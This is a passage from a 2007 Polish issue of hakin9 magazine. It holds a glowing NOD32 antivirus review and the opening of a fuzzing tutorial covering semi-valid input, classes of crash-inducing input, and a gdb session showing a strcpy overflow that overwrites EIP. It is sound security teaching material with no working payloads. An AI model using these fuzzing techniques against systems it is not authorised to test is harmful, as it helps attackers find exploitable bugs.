nej nazwy funkcji opcji Znajdź. Istnie-
je wiele technik zapobiegania kopio-
waniu, jest to jednak temat na osob-
ną książkę. l

O autorze

Michał Bucko jest niezależnym bada-
czem problematyki bezpieczeństwa
informatycznego. Pracuje jako audy-
tor bezpieczeństwa internetowych ban-
ków, przeprowadza różnego rodzaju
audyty bezpieczeństwa dla instytucji fi-
nansowych i firm z branży e-commer-
ce, współpracuje z agencjami detekty-
wistycznymi; pracuje jako tester pene-
tracyjny i konsultant ds. oceny zagro-
żeń. Obecnie, jako główny specjalista
ds. bezpieczeństwa, pomaga stworzyć
w Polsce laboratorium bezpieczeństwa
HACKPL.
Kontakt do autora: sapheal@hack.pl

background image

58

Narzędzia

hakin9 Nr 7/2007

www.hakin9.org

NOD32 to nowoczesny program antywirusowy współpra-
cujący z różnymi systemami operacyjnymi. Skaner anty-
wirusowy monitorujący wszystkie połączenia interneto-
we i rezydentny moduł skanujący pamięć operacyjną sku-
tecznie eliminują trojany, backdoory, robaki internetowe i
klasyczne wirusy. Zaawansowana analiza heurystyczna
pomaga wykrywać wirusy nowe i jeszcze niesklasyfikowa-
ne przez światowe laboratoria.
Większość użytkowników komputerów ogarnia złość na
samą myśl o konieczności zainstalowania oprogramo-
wania antywirusowego. Spowolnienie pracy kompute-
ra, zajmowanie miejsca na dysku, szybka dezaktualiza-
cja, wysoka cena – to tylko część irytujących cech popu-
larnych antywirusów. Stąd często decydujemy się na
brak jakiegokolwiek antywirusa, ryzykując nawet utratę
danych czy zagrożenie naszej prywatności. Na szczę-
ście, jakiś czas temu pojawił się na rynku produkt firmy
Eset – system antywirusowy NOD32. Jest on zaprzecze-
niem naszego wyobrażenia o typowym programie anty-
wirusowym.

NOD32 to nowoczesny program, przeznaczony do

ochrony komputerów szczególnie narażonych na ataki
wirusów, czyli tych, na których intensywnie korzysta
się z internetu i poczty elektronicznej. Zabezpieczenie
przed zagrożeniami ze strony wirusów rozprzestrze-
niających się za pośrednictwem poczty elektronicznej
gwarantują dwa moduły skanujące pocztę – IMON, czyli
Monitor Internetowy oraz EMON – Skaner Poczty Micro-
soft Outlook. Poza tym NOD32 chroni nasz komputer m.
in. przed robakami komputerowymi, trojanami, spywa-
re'em, adware'em i phishingiem. Dzięki częstym aktu-
alizacjom bazy danych wirusów – aktualizacja nastę-
puje co godzinę i faktycznie jest , jak obiecuje produ-
cent, błyskawiczna i „cicha” – program zapewnia mak-
simum bezpieczeństwa. Jednak największą i najbar-
dziej docenianą przez użytkowników zaletą jest mini-
malne obciążenie systemu. W warunkach domowych,
w jakich był testowany, NOD32 sprawuje się napraw-
dę znakomicie i, co najważniejsze, nie spowalnia pracy
komputera! Testy programów antywirusowych wykazu-
ją, że jest on od dwóch do pięciu razy szybszy niż kon-
kurencja. Kolejnym plusem są minimalne wymagania
sprzętowe (wystarczy procesor 300MHz, jedynie 20MB

wolnej przestrzeni na dysku, 32MB RAM i karta graficz-
na VGA) i systemowe (działa na systemach Windows
98, Windows ME, Windows NT, Windows 2000, Win-
dows XP, Windows 2003, Windows XP Pro x64, Win-
dows 2003 Server x64, FreeBSD, OpenBSD, NetBSD,
Linux, Novell, MS Exchange, MS DOS). Pozytywnym
zaskoczeniem była dla mnie niezwykle dyskretna praca
programu – po instalacji (z płyty CD lub bezpośrednio z
internetu – bezpłatna 30-dniowa wersja testowa) wła-
ściwie możemy zapomnieć o naszym antywirusie. Nie
musimy klikać na żadne wyskakujące ikonki, specjal-
nie skanować komputera (system antywirusowy wyła-
puje wszelkie nieprawidłowości na bieżąco) ani zaprzą-
tać sobie głowy aktualizacjami (następują automatycz-

NOD32 – przyjazny

antywirus

Producent: ESET
Model: NOD32
Typ: Program antywirusowy
Przeznaczenie: Użytkownicy indywidualni i nie tylko
Strona producenta: www.eset.com
Cena: Od 154,94 PLN

Rysunek 1.

NOD 32 antivirus system

background image

NOD32

nie). Sama instalacja programu nie powinna sprawić
nam trudności. Dostępne są trzy typy instalacji: stan-
dardowa, zaawansowana i w trybie ekspert. Dzięki temu
użytkownik może wybrać najbardziej odpowiadającą mu
opcję. Niezdecydowanym polecam przetestowanie bez-
płatnej 30-dniowej internetowej wersji programu, gdzie
nie ma nawet potrzeby rejestracji. NOD32 swoją nie-
zwykłą skuteczność zawdzięcza regularnym aktualiza-
cjom. Najwygodniejszym wariantem jest aktualizacja
systemu w trybie on-line za pośrednictwem internetu,
z jednego z serwerów aktualizacyjnych. Ciekawym roz-
wiązaniem jest zastosowanie tzw. dziennika zdarzeń, w

Rysunek 2.

Zrzut okna programu

którym zapisywane są wszystkie informacje o błędach
aktualizacji.

Czynnością typową dla antywirusów jest skanowa-

nie zasobów komputera w celu sprawdzenia, czy któryś z
plików nie zawiera wirusa. NOD32 posiada funkcję skano-
wania na żądanie, którą możemy uruchomić z konsoli syste-
mu. Wówczas system sprawdza pamięć operacyjną nasze-
go komputera, a wyniki skanowania umieszcza w dzienniku
zdarzeń, oznaczając ewentualne zainfekowane pliki kolo-
rem czerwonym. W takiej sytuacji wybieramy opcję Wylecz
i powtarzamy skanowanie.

Ogólnie rzecz biorąc konsola systemu w przejrzysty

sposób umożliwia dostęp do wszystkich narzędzi i ustawień
modułów. Zatem kolejnym atutem tego antywirusa jest intu-
icyjny interfejs. Jestem przekonana, że część użytkowników
ucieszy także polska wersja językowa programu.

NOD32 otrzymał liczne nagrody – jest bezkonkuren-

cyjny w kategorii: najszybszy na rynku program antywi-
rusowy – w tym rekordową ilość nagród magazynu Virus

Bulletin. Przetestowanie tego programu pozwala mi arbi-
tralnie stwierdzić, że były to nagrody w pełni zasłużo-
ne. Serdecznie zachęcam do wypróbowania możliwo-
ści systemu antywirusowego NOD32, a zainteresowa-
nych odsyłam także na stronę poświęconą programo-
wi: www.nod32.pl, gdzie pojawiają się wszelkie aktual-
ne informacje dotyczące systemu oraz innych produk-
tów firmy Eset.

Marta Cierpikowska

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 7/2007

60

Początki

P

oszukiwanie w określonym programie
błędów związanych z zabezpieczenia-
mi oznacza zazwyczaj szukanie pomy-

łek w jego kodzie źródłowym. Aktualnie istnie-
je wiele programów, które znacznie ułatwia-
ją to zadanie. Jednak żaden z nich nie rozwią-
że trzech podstawowych problemów, występu-
jących przy posługiwaniu się takim sposobem
demaskowania nieprawidłowości: ilość cza-
su potrzebna do przeanalizowania kodu jest
ogromna; rezultaty tej analizy są jedynie teore-
tyczne; niezbędny jest kod źródłowy.

Technika fuzzingu została stworzona w

latach dziewięćdziesiątych przez grupę lu-
dzi – pod przewodnictwem Bartona P. Millera
– którzy zaczęli wprowadzać przypadkowe da-
ne do programów w środowiskach uniksowych.
Nawet jeśli takie podejście wydaje się ekstre-
malnie proste i chociaż ich działania na począt-
ku nie spotkały się z większym zainteresowa-
niem pozostałych zaawansowanych użytkow-
ników komputerów, byli oni w stanie doprowa-
dzić do zawieszania się jednej trzeciej progra-
mów, które testowali. Z czasem ta nowa tech-
nika rozwinęła się w trend, który wkrótce zy-
skał rozgłos za sprawą firm zajmujących się za-
bezpieczeniami. Wkrótce stał się on interesują-

cy także dla hakerów. Z punktu widzenia ata-
kującego, fuzzing jest ekstremalnie skuteczną
techniką. Nawet jeśli firma inwestuje dużo pie-
niędzy w tworzenie własnych fuzzerów i uży-
wa ich do wykrycia 99% błędów, dobrze napi-
sany i użyty przez hakera fuzzer nadal będzie
w stanie znaleźć jeden z ostatnich możliwych
do wykrycia błędów, mieszczących się w pozo-
stałym procencie (zakładając, że jest wystar-

Fuzzing

Paul Sebastian Ziegler

stopień trudności

Niemal każdy program zawiera błędy. Możliwości ich wykrycia

od dawna stanowią główną domenę dociekań i są w centrum

zainteresowania deweloperów i hakerów. Niniejszy artykuł

ma na celu dać czytelnikom teoretyczne podstawy oraz opis

praktycznego użycia metody nazywanej fuzzingiem.

Z artykułu dowiesz się

• czym jest fuzzing?
• co sprawia, że fuzzing jest tak skuteczny?
• początki fuzzingu,
• jak napisać swój własny fuzzer?
• jak praktycznie wykorzystać fuzzer?

Co powinieneś wiedzieć

• poszerzona wiedza w zakresie sposobów prze-

prowadzania ataków,

• podstawowe doświadczenie w testowaniu

oprogramowania,

• podstawowa znajomość asemblera,
• podstawowa znajomość Pythona.

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

61

czająco dużo czasu i dopisze szczę-
ście). A jak czytelnicy zapewne wie-
dzą, nawet jeden błąd wystarczyć
może do pomyślnego zaatakowania
programu.

Mimo że fuzzing był początko-

wo techniką stosowaną lokalnie, dzi-
siaj większość osób kojarzy go z apli-
kacjami sieciowymi. Dzieje się tak
przede wszystkim dlatego, że fuzzing
okazał się bardzo skuteczny w przy-
padku iniekcji SQL (ang. SQL Injec-

tion) i błędów XSS. Co więcej, apli-
kacje sieciowe charakteryzuje zwy-
kle przejrzysta struktura, z którą może
pracować atakujący. Fuzzing nie jest
jednak w żaden sposób ograniczony
do sieci. Poza aplikacjami sieciowymi
i protokołami używanymi w sieciach,
programy uruchamiane lokalnie mogą
być poddawane fuzzingowi za pomo-
cą konsoli lub otwieranych przez nie
plików. Fuzzingiem można posłużyć
się nawet w odniesieniu do systemów
plików. Montowane przez kernel, sta-
nowią one dobry cel, ponieważ ataku-
jący może przez pomyślny atak uzy-
skać najwyższe uprawnienia.

Teoria fuzzingu

Fuzzing jest techniką używaną głów-
nie do testów zewnętrznych oprogra-
mowania (ang. Blackbox testing) – a

więc testów bez dodatkowych infor-
macji, takich jak kod źródłowy lub
wiedza o konfiguracji. Zamiast ana-
lizy kodu źródłowego programu fuz-
zing koncentruje się na gotowej apli-
kacji. Większość błędów w oprogra-
mowaniu konsumenckim jest odnaj-
dywana i zgłaszana przez użytkow-
ników. Czasami powodują oni za-
wieszanie się programów w trakcie
ich używania. Powodem tego mogą
być nieprawidłowe wpisy, niestan-
dardowe biblioteki, niewłaściwe pli-
ki i wiele innych drobniejszych przy-
czyn. Kiedy pojawiają się problemy,
wielu użytkowników poszukując po-
mocy konsultuje się z deweloperami.
Niektórzy przesyłają nawet szczegó-
łowe raporty dotyczące błędów, jakie
odkryli oni przy użytkowaniu interfej-
sów zaprojektowanych przez dewe-
loperów. Jak zakłada teoria, informa-
cje uzyskane w ten sposób powinny
być później wykorzystywane przez
deweloperów i posłużyć do popra-
wienia lub wyeliminowania błędów.

Wówczas błędy, które popełnia-

ją użytkownicy, stają się cennym źró-
dłem informacji. Mają więc duże zna-
czenie dla podnoszenia standardów
jakości oprogramowania. Podstawo-
wą ideą fuzzingu jest podjęcie i roz-
szerzenie koncepcji nieprawidłowych

wpisów. Zamiast zezwolić różnym
użytkownikom na popełnianie błędów
– które mogą oni niekiedy zgłaszać
deweloperom – przez nieokreślony
okres czasu gotowy program jest naj-
pierw zalewany ogromną ilością na
wpół poprawnych wpisów. W przy-
padku crashu lub zawieszenia można
mieć pewność, że znalazło się jakiś ro-
dzaj błędu. Ponieważ przy takim usta-
wieniu osoba przeprowadzająca testy
ma kontrolę nad procesem, może ona
szczegółowo zbadać dany błąd i okre-
ślić, czy może mieć on konsekwencje
dla bezpieczeństwa aplikacji.

Początkowo posługując się fuz-

zingiem do testowania programów
wykorzystywano całkowicie przy-
padkowe dane. Mimo że tego typu
działania nadal znajduje swoje zasto-
sowanie, stało się powszechnie wia-
dome, że rezultaty mogą zostać zna-
cząco poprawione poprzez użycie na
wpół poprawnych danych (ang. se-

mi valid data). Tylko niewielka część
współczesnych programów akceptu-
je wszystkie dane, jakie mogą zostać
do nich przekazane. Wszystkie inne
aplikacje filtrują wpisy, aby zagwa-
rantować to, że ewidentnie niepo-
prawne dane nie będą przetwarza-
ne. Dlatego też przypadkowe dane
używane przy fuzzingu będą musia-
ły zostać osadzone wewnątrz wzor-
ca, który doprowadzi do ich przyjęcia
przez program. Na wpół poprawne
dane muszą być na tyle poprawne,
aby program je zaakceptował, a jed-
nocześnie wystarczająco niepopraw-
ne, aby mogły spowodować jego po-
tencjalny crash.

Pierwszym problemem, który

związany jest z nowoczesnym fuz-
zingiem jest kwestia generowania
na wpół poprawnych danych. Ponie-
waż ma on przejrzystą strukturę, od
teraz zajmiemy się badaniem pakie-
tu TCP w celu poznania koncepcji na
wpół poprawnych danych. Graficzne
wyobrażenie struktury pakietu TCP
przedstawia Rysunek 1. U góry znaj-
duje się informacja o warstwie Ether-
net – a więc adres źródłowy MAC, ad-
res docelowy MAC oraz typ pakietu.
Następna w kolejności jest informa-
cja o warstwie IP – wersja, długość
nagłówka, całkowita długość, numer

W Sieci

http://events.ccc.de/congress/2005/fahrplan/attachments/956–22C3–537–en–fuz-

zing.mp4.torrent wideo z doskonałym wykładem Van Sprundela na temat fuzzingu,

http://static.23.nu/md/Pictures/FUZZING.PDF slajdy do wspomnianego wyżej

wykładu,

http://www.cs.wisc.edu/~bart/fuzz/fuzz.html Informacje o rezultatach osiągnię-

tych przez ludzi skupionych wokół Bartona P. Millera,

http://freshmeat.net/projects/mangleme/ mangleme at freshmeat,
http://www.ee.oulu.fi/research/ouspg/protos/ Strona internetowa university of

Oulu,

http://ilja.netric.org/files/fuzzers/htmler.py HTMLer,
http://www.digitaldwarf.be/products/ircfuzz.c ircfuzz,
www.digitaldwarf.be/products/dhcpfuzz.pl dhcpfuzz,
http://www.secdev.org/projects/scapy/ Strona internetowa projektu Scapy,
http://labs.idefense.com/software/fuzzing.php Strona internetowa notSPIKEfile, fi-

lefuzz i SPIKEfile,

http://www.blackhat.com/presentations/bh–usa–03/bh–us–03–bret–mounet.pdf

prezentacja COMbust,

http://www.digitaldwarf.be/products/mangle.c mangle,
http://www.immunitysec.com/resources-freesoftware.shtml Strona internetowa o

SPIKE,

http://peachfuzz.sourceforge.net/ strona internetowa o Peach,

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

62

identyfikacyjny, flagi, TTL, protokół,
suma kontrolna, źródłowe IP i docelo-
we IP. Wszystkie te informacje nie są
istotne w przypadku fuzzingu ukierun-
kowanego na protokół TCP. Aby sku-
tecznie zastosować fuzzing do TCP,
będą musiały pozostać nietknięte.

Blok TCP, o którym tu mowa, na-

stępuje po blokach Ethernetu oraz IP.
W większości przypadków nie jest
zasadne, by całkowicie wypełniać go
przypadkowymi danymi. O wiele bar-
dziej prawdopodobne jest to, że ktoś
będzie próbował zastosować fuzzing
do oddzielnych pól, które znajdują się
w nagłówku TCP lub części zawie-
rającej dane pakietu. Zwróćmy więc
uwagę na pola, które znajdują się
w bloku TCP. Pierwszymi z nich są
port nadawcy i port odbiorcy. Za ni-
mi znajdują się numer sekwencyjny i
numer potwierdzenia. Następny frag-
ment odpowiada za kontrolę całkowi-
tej długości nagłówka TCP. Wresz-
cie pakiet zawiera flagi, rozmiar okna
i sumę kontrolną. Dopiero tutaj – po-
przedzone dwoma wartościami zero
– znajdują się rzeczywiste dane, ja-
kie podlegają transmisji.

Na czym więc mógłby polegać

problem, gdybyśmy zastąpili wszyst-
ko całkowicie przypadkowymi dany-
mi? Komputer odbierający przyjąłby
wówczas założenie, że pakiet został
podczas transmisji uszkodzony i za-
żądałby nowego. W ten sposób zde-
cydowana większość pakietów, które
przesyłalibyśmy przez sieć, nie była-
by w stanie wywołać żadnego efek-
tu. Jak widzimy, jedynym sposobem
na zastosowanie fuzzingu do proto-
kołu TCP jest złożenie pakietu, który
komputer uzna za poprawny.

TCP posiada bardzo dobrze na-

pisaną i obszerną dokumentację. Ale
jak można zastosować fuzzing w przy-
padku protokołu, który jest ledwie zna-
ny, i kiedy nie można uzyskać dostę-
pu do wystarczającej ilości informa-
cji? Taka sytuacja ma miejsce o wie-

le częściej niż można byłoby się tego
spodziewać. Nawet jeśli program ko-
rzysta ze standaryzowanego protoko-
łu, to aby przekazywane dane zostały
przetworzone, przede wszystkim bę-
dą musiały pasować do jakiegoś sche-
matu. Dlatego pierwszym ważnym za-
daniem jest obserwacja przepływu da-
nych pomiędzy klientem i serwerem.
W przypadku połączenia sieciowego
oznacza to przechwytywanie strumie-
nia pakietów przy użyciu takich narzę-
dzi, jak Wireshark lub tcpdump. Można
również obserwować komunikację po-
między graficznym frontendem i jego
konsolowym odpowiednikiem. Praw-
dziwym wyzwaniem jest jednak okre-
ślenie znaczenia różnych elementów
tej komunikacji.

Większość aplikacji korzysta ze

standardowych klientów do komuni-
kacji. W przypadku serwera sieciowe-
go może to być dowolna przeglądarka.
Serwery do grania online komunikują
się zazwyczaj z odpowiednimi grami,
a systemy zaprojektowane do zarzą-
dzania firmą posiadają zwykle odpo-
wiednie własne oprogramowanie fir-
mowe. Takie rozwiązanie można wy-
korzystać, kiedy chodzi o dekodowa-
nie struktury przesyłanych pakietów.
Pierwszym krokiem jest wysłanie kil-
ku pakietów za pomocą klienta przy
zachowaniu takich samych ustawień.
Części pakietu, które ulegają podczas
tego procesu zmianie są ewidentnie
zależne od numeru pakietu bądź chwi-
li, w której jest przesyłany. Następnym
krokiem jest zmiana pojedynczego
ustawienia klienta i zbadanie nowego
pakietu pod kątem zmian. Każda no-
wo znaleziona zmiana ma najprawdo-
podobniej związek z nowym ustawie-
niem. Niekiedy zmiana pojedynczej
opcji w aplikacji klienta prowadzi do
zmian w kilku oddzielnych częściach
pakietu. W takim przypadku, zastoso-
wana zmiana mogła być tylko abstrak-
cją dla kilku innych ustawień lub pakiet
mógł zawierać sumy kontrolne, które

zmieniają się odpowiednio do ogólnej
zawartości pakietu. Proces ten mo-
że być powtarzany dowolną ilość ra-
zy podczas zabawy różnymi ustawie-
niami klienta, do czasu, kiedy w końcu
wszystkie części pakietu zostaną po-
myślnie dekodowane. Zaraz po osią-
gnięciu tego celu najlepszym sposo-
bem na udowodnienie poprawności
swoich przypuszczeń jest przygoto-
wanie pakietu, który ma wykonać spe-
cyficzne zadanie. Jeśli serwer reaguje
wówczas w oczekiwany sposób, ozna-
cza to, że pakiet został poprawnie za-
implementowany, a protokół prawidło-
wo zinterpretowany.

Czasami klient nie jest jednak do-

stępny do testów lub może po prostu
nie dostarczać wystarczającej ilości
opcji, żeby można było odkryć, jak
działa protokół. W takich przypad-
kach dobrym pomysłem jest użycie
serwera w celu przeanalizowania
protokołu. Aby tego dokonać, pierw-
sze, co trzeba zrobić, to przechwyce-
nie pojedynczego pakietu. Nawet je-
śli możliwa jest analiza protokołu bez
posiadania jakichkolwiek informacji
pomocniczych, zadanie to wymaga o
wiele więcej czasu i doświadczenia.
Pakiet przechwycony w ten sposób
jest następnie częściowo modyfiko-
wany i przesyłany ponownie do ser-
wera i w tym czasie obserwuje się je-
go reakcję. Czas, jakiego wymaga ta-
kie rozwiązanie, jest przeważnie za-
leżny od danego protokołu. Niektóre
procesy (na przykład WPA handsha-
ke) zwracają bardzo szczegółowe
komunikaty o błędach, w przypadku,
kiedy nie są w stanie obsłużyć okre-
ślonego pakietu. Informują nawet,
czego oczekiwałyby na danej pozy-
cji zamiast niewłaściwych danych.
Niektóre inne procesy nie zwracają
w ogóle komunikatów o błędach i po
prostu odrzucają błędny pakiet.

Po pomyślnym rozszyfrowaniu

znaczenia poszczególnych części
pakietu przychodzi czas na wypeł-
nienie ich danymi. Aby tego doko-
nać, nie jest konieczne, by dane by-
ły całkowicie przypadkowe. Czasami
używa się danych, które są dobrze
znane z tego, że powodują proble-
my. Przykładami tego typu danych
byłyby:

Listing 1.

Fragment loga

Oct

13

21

:

36

:

48

grsecurity

:

signal

11

sent

to

/

bin

/

vulnerable

[

segfault

:

20256

]

uid

/

euid

:

1003

/

1003

gid

/

egid

:

1006

/

1006

,

parent

/

bin

/

bash

[

bash

:

26049

]

uid

/

euid

:

1003

/

1003

gid

/

egid

:

1006

/

1006

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

63

• bardzo długie stringi,
• NULL,
• znaki specjalne,
• bloki skryptów,
• sekwencje wyjścia (ang. escape

sequences),

• znaki formatujące.

Bardzo długie stringi są preferowa-
nym sposobem wywoływania prze-
pełnień bufora, NULL może pro-
wadzić do błędów ścieżki wykona-
nia programu, znaki specjalne mo-
gą być fałszywie interpretowane i na
przykład ujawniać iniekcje SQL, bloki
skryptów mogą wskazywać luki XSS
w stronach internetowych, sekwencje
wyjścia są czasami niewłaściwie od-
czytywane, a znaki formatujące mo-
gą prowadzić do błędów formatowa-
nia stringów. Przy użyciu takich list
fuzzing może stać się o wiele bar-
dziej skuteczny, bo lista danych, któ-
re są dobrze znane z tego, że powo-
dują problemy, będzie zawsze krót-
sza od niekończącej się listy przy-
padkowych danych. Kiedy jednak
pracuje się z listami, istnieje ryzyko
pominięcia niektórych błędów, które
przy użyciu przypadkowych danych
zostałyby znalezione prędzej czy
później (gdzie później oznacza w tym
przypadku o wiele wiele później).

Po zgłębieniu informacji związa-

nych z komponentami pakietu pro-
tokołu nadszedł czas, żeby użyć tej
wiedzy i wypełnić je nowymi dany-
mi. Na Rysunku 2. jeszcze raz poka-
zano schemat pakietu TCP. Jednak
tym razem komponenty podatne na
fuzzing zostały wyróżnione. Ponie-
waż w tym przykładzie pracujemy z
samym protokołem TCP, informacje
dotyczące warstw Ethernetu i IP zo-
stały pominięte. Ponadto pola zawie-
rające informacje o długości nagłów-
ka, ustawionych flagach oraz sumie
kontrolnej pakietu powinny pozostać
niezmienione, aby nie doprowadzić
do odrzucenia pakietu. Część z da-
nymi pakietu szczególnie nadaje się
do umieszczenia w niej danych, któ-
re zwykle powodują problemy.

Metody fuzzingu

Ogólnie rzecz biorąc, jeśli chodzi o
fuzzing, istnieją trzy poziomy auto-

matyzacji. Ponieważ każdy poziom
ma swoje wady i zalety, spróbujmy
się z nimi zapoznać.

Metoda manualnego fuzzingu

wymaga od osoby przeprowadzają-
cej test ręcznego generowania i prze-
syłania każdego pojedynczego żąda-
nia. Dzięki temu osoba ta uzysku-
je możliwie największą kontrolę nad
programen i jest w stanie analizować
jego każdą możliwą reakcję. Ponadto
możliwe jest, w celu bliższego prze-
analizowania konkretnego przypad-

ku, generowanie nieznacznie różnią-
cych się wpisów na żądanie. Metoda
manualna jest najbardziej wyczerpu-
jącym sposobem analizy przy uży-
ciu fuzzingu. W wyniku takiej analizy
zwykle można zaobserwować wyjąt-
kowo długie czasy reakcji uwzględ-
niane w bazie wiedzy. Jeśli chodzi
o czas, koncepcja ta nie jest lepsza
od klasycznego podejścia do bezpie-
czeństwa oprogramowania. Manual-
ne podrabianie wpisów jest czaso-
chłonne i wymaga sporej wiedzy.

Rysunek 1.

Struktura pakietu TCP

Rysunek 2.

Pakiet TCP przeznaczony do fuzzingu

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

64

Automatyczny fuzzing jest prze-

ciwieństwem manualnego fuzzingu.
Fuzzer samodzielnie generuje wów-
czas wpisy i przekazuje je do pro-
gramu bez jakiejkolwiek ingerencji
człowieka. Następnie próbuje dowie-
dzieć się, czy program wciąż działa
poprawnie. Jeśli tak, to generowa-
ny i przesyłany jest następny wpis.
W przeciwnym wypadku fuzzer koń-
czy swoją pracę, dając w ten sposób
osobie przeprowadzającej test możli-
wość przeanalizowania znalezionego
błędu przy użyciu takich źródeł infor-
macji jak coredump lub podobnych.
Rozwiązanie to znacznie przyspie-
sza proces fuzzingu. Dlatego też sta-
je się możliwe dostarczenie o wiele
większej ilości na wpół poprawnych
danych do programu, a w następ-
stwie tego znalezienie większej ilo-
ści słabych punktów w jego wnętrzu.
Jednak automatyczny fuzzing jest o
wiele bardziej podatny na pominięcie
jakiejś usterki w testowanym progra-
mie. Nie jest bowiem diagnozowany
bezpośrednio przez osobę przepro-
wadzającą test. Co więcej, automa-
tyczny fuzzer ma bardzo ograniczone
możliwości dokładniejszego badania
nieoczekiwanych rezultatów.

Półautomatyczny fuzzing jest

opcją łączącą w sobie cechy fuzzin-
gu automatycznego i manualnego.
Zazwyczaj wygląda to tak, że wpisy
są generowane automatycznie przez
fuzzer, podczas gdy analiza pozosta-
wiana jest już osobie przeprowadza-
jącej test. Oczekuje się wtedy od niej
potwierdzenia każdego pojedyncze-
go kroku. W ten sposób, w porów-
naniu z manualnym fuzzingiem po-
prawiona zostaje skuteczność te-
stowania, a nie ma już potrzeby po-
siadania tak dogłębnej wiedzy. Oso-
ba przeprowadzająca test wciąż po-
siada kontrolę nad procesem i może
rozpoznawać jakiekolwiek nieoczeki-
wane zachowanie programu. Jednak
postępowanie w ten sposób jest nie-
porównywalnie wolniejsze od auto-
matycznego fuzzingu.

Wykrywanie

wadliwego działania

Jak widzimy, skuteczność automa-
tycznego fuzzingu jest całkowicie za-

Listing 2.

Analiza programu przy użyciu gdb

$

gdb

/

bin

/

vulnerable

q

c

core

Using

host

libthread_db

library

"/lib/tls/libthread_db.so.1"

.

Core

was

generated

by

`/

bin

/

vulnerable

'.

Program

terminated

with

signal

11

,

Segmentation

fault

.

#0 0x41414141 in ?? ()

(

gdb

)

info

reg

eax

0xb74efc40

1219560384

ecx

0xb74efc3f

1219560385

edx

0x0

0

ebx

0x15e9dfcc

367648716

esp

0xb74efc04

0xb74efc04

ebp

0x41414141

0x41414141

esi

0xb74efc40

1219560384

edi

0xa1759c80

1586127744

eip

0x41414141

0x41414141

eflags

0x10282

66178

cs

0x73

115

ss

0x7b

123

ds

0xc013007b

1072496517

es

0xc013007b

1072496517

fs

0x0

0

gs

0x33

51

(

gdb

)

disas

main

Dump

of

assembler

code

for

function

main

:

0x00000768

<

main

+

0

>:

push

%

ebp

0x00000769

<

main

+

1

>:

mov

%

esp

,

%

ebp

0x0000076b

<

main

+

3

>:

push

%

ebx

0x0000076c

<

main

+

4

>:

sub

$

0x54

,

%

esp

0x0000076f

<

main

+

7

>:

call

0x764

<

__i686

.

get_pc_thunk

.

bx

>

0x00000774

<

main

+

12

>:

add

$

0x1858

,

%

ebx

0x0000077a

<

main

+

18

>:

and

$

0xfffffff0

,

%

esp

0x0000077d

<

main

+

21

>:

mov

$

0x0

,

%

eax

0x00000782

<

main

+

26

>:

add

$

0xf

,

%

eax

0x00000785

<

main

+

29

>:

add

$

0xf

,

%

eax

0x00000788

<

main

+

32

>:

shr

$

0x4

,

%

eax

0x0000078b

<

main

+

35

>:

shl

$

0x4

,

%

eax

0x0000078e

<

main

+

38

>:

sub

%

eax

,

%

esp

0x00000790

<

main

+

40

>:

mov

0x28

(%

ebx

)

,

%

eax

0x00000796

<

main

+

46

>:

mov

(%

eax

)

,

%

eax

0x00000798

<

main

+

48

>:

mov

%

eax

,

0xffffffe8

(%

ebp

)

0x0000079b

<

main

+

51

>:

mov

0xc

(%

ebp

)

,

%

eax

0x0000079e

<

main

+

54

>:

mov

%

eax

,

0xffffffc4

(%

ebp

)

0x000007a1

<

main

+

57

>:

mov

0xffffffc4

(%

ebp

)

,

%

eax

0x000007a4

<

main

+

60

>:

add

$

0x4

,

%

eax

0x000007a7

<

main

+

63

>:

mov

(%

eax

)

,

%

eax

0x000007a9

<

main

+

65

>:

mov

%

eax

,

0x4

(%

esp

)

0x000007ad

<

main

+

69

>:

lea

0xffffffc8

(%

ebp

)

,

%

eax

0x000007b0

<

main

+

72

>:

mov

%

eax

,

(%

esp

)

0x000007b3

<

main

+

75

>:

call

0x644

<

strcpy

@

plt

>

0x000007b8

<

main

+

80

>:

mov

0x28

(%

ebx

)

,

%

edx

0x000007be

<

main

+

86

>:

mov

(%

edx

)

,

%

edx

0x000007c0

<

main

+

88

>:

cmp

%

edx

,

0xffffffe8

(%

ebp

)

0x000007c3

<

main

+

91

>:

je

0x7da

<

main

+

114

>

0x000007c5

<

main

+

93

>:

mov

0xffffffe8

(%

ebp

)

,

%

eax

0x000007c8

<

main

+

96

>:

mov

%

eax

,

0x4

(%

esp

)

0x000007cc

<

main

+

100

>:

lea

0xffffe918

(%

ebx

)

,

%

eax

0x000007d2

<

main

+

106

>:

mov

%

eax

,

(%

esp

)

0x000007da

<

main

+

114

>:

mov

0xfffffffc

(%

ebp

)

,

%

ebx

0x000007dd

<

main

+

117

>:

leave

0x000007de

<

main

+

118

>:

ret

0x000007df

<

main

+

119

>:

nop

End

of

assembler

dump

.

(

gdb

)

q

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

65

leżna od zdolności wykrywania uste-
rek testowanego programu przez
fuzzer. Istnieje kilka sposobów na to,
aby fuzzer do tego zmusić.

W przypadkach, kiedy program

jest poddawany fuzzingowi lokalnie
poprzez konsolę, istnieje możliwość
bezpośredniej obserwacji zachowa-
nia testowanego programu. Na Ry-
sunku 3. pokazano program, który
jest testowany manualnie w ten spo-
sób. Uruchamiając program, dowia-
dujemy się, że dwie liczby są wyma-
gane do jego pomyślnego wykona-
nia. Kilka wpisów testowych sugeru-
je, że program będzie zawsze dzielić
pierwszą liczbę przez drugą i poda-
wać wynik na wyjście. Taki schemat
będzie prawdopodobnie podatny na
błąd dzielenia przez zero, ponieważ
możemy kontrolować dzielnik. A za-
tem, w przypadku, gdy wpisy użyt-
kownika nie są poprawnie filtrowa-
ne, bardzo łatwe jest doprowadzenie
do crashu programu. Kolejne uru-
chomienie z wartością 0 jako drugim
argumentem udowadnia, że nasze
przypuszczenie było trafne i prowa-
dzi do wydrukowania dosyć szcze-
gółowego komunikatu o błędach. Ta-
ki komunikat może również łatwo zo-
stać rozpoznany i oceniony przez au-
tomatyczny fuzzer.

W przypadkach, kiedy fuzzer

działa poprzez sieć lub z jakiegoś in-

nego powodu nie ma bezpośrednie-
go dostępu do programu, który jest
testowany, w celu określenia, czy na-
stąpił crash, potrzebne są inne me-
tody. Logi systemu, w którym działa
program, są doskonałym źródłem in-
formacji na ten temat. Usługi logowa-
nia, które są skonfigurowane wystar-
czająco restrykcyjnie, również będą
logować sygnały. Poprzez spraw-
dzenie odpowiednich logów fuzzer
może określić, czy program został
zakończony nieprawidłowo. Na Li-
stingu 1. pokazano fragment loga.
Z jego treści wynika, że program

